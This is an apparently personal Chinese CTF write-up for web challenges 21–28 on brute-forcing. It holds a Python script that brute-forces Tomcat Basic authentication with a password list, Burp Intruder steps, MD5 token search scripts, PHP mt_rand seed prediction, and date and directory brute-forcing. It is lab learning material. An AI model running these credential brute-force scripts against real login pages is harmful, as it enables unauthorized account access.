web21
考点tomcat 认证爆破之custom iterator使用
https://www.cnblogs.com/007NBqaq/p/13220297.html 下载密码字典抓包,通过burpsuite暴力破解
Payload set ---->custom iterator(自定义迭代器)
需要进行base64编码;payload processing 进行编码设置
取消Palyload Encoding编码 因为在进行base64加密的时候在最后可能存在 == 这样就会影响base64 加密的结果
tomcat 认证爆破之custom iterator使用
进入页面要登录
bp抓包,解密的得到我们输入的用户名和密码,说明我们输入的被base64编码了
Payload set ---->custom iterator(自定义迭代器)------>position 3------>输入字典
自定义迭代器可以自定义拼接方式,position的位置即为我们的拼接方式,根据上述base64解码的tomcat密码的格式:用户名:密码 ----->则position的位数为3
用题目给的密码包爆破
用户名添加变量符号
添加前缀admin:
取消对号
开始攻击,接着找flag
附脚本:
import time
import requests
import base64
url = '题目链接'
password = []
with open("1.txt", "r") as f:
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8'))
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200:
print(rep.text)
break
web22
环境出问题没做
web23
查看源代码发现我们需要get一个token满足条件就可以出flag
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]
传递?token=3j
即可出flag
web24
参考PHP随机数的伪随机数 mt_srand(seed); 函数播种 Mersenne Twister 随机数生成器。seed,可选。规定播种值
<?php
//Firebasky
error_reporting(0);
$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";//字典
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
// echo md5($token)."\n";
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token,
14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token,
14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token,
31,1))){
echo "success"."\n";
echo $a[$i].$a[$j];
exit(0);
}
}
}
} ?>
#coding: utf-8
#啊韬
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
脚本
<?php
mt_srand(372619038);
echo(mt_rand());
?>
生成了一个对应的伪随机数
1155388967
web25
难,不做了吧
web26
burp抓包
直接出了flag。。。。
应该的正常的做法
先抓包
然后intruder爆破,用web21的字典爆破就好
跑的有点慢要等一会
得到密码:7758521
web27
打开之后看得到一个报名界面,这就去报名,我是菜鸡
看到下面有录取名单,点了一下,下载了一个文件
在进入学籍查询系统
看wp就是根据名单,利用他信息爆破登录得到flag
开始爆破
抓包之后发现没有post包,好烦。。。。要在goole里看到post的包
找到之后放到burp里
发送到爆破功能区,设定变量,类型改为dates
开始爆破,爆破成功得到
将
alert(“\u606d\u559c\u60a8\uff0c\u60a8\u5df2\u88ab\u6211\u6821\u5f55\u53d6\uff0c\u4f60\u7684\u5b66\u53f7\u4e3a02015237
\u521d\u59cb\u5bc6\u7801\u4e3a\u8eab\u4efd\u8bc1\u53f7\u7801”)
放到控制台运行
得到学号02015237和身份证621022199002015237,拿去登入
web28
看看提示,爆破目录就可以了,来动动手
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可
打开一看,嗷吆~这网址有点问题哈,,抓包,删去2.txt,爆破目录
要把爆破模式改为cluster bomb
跑了半天,终于跑出来了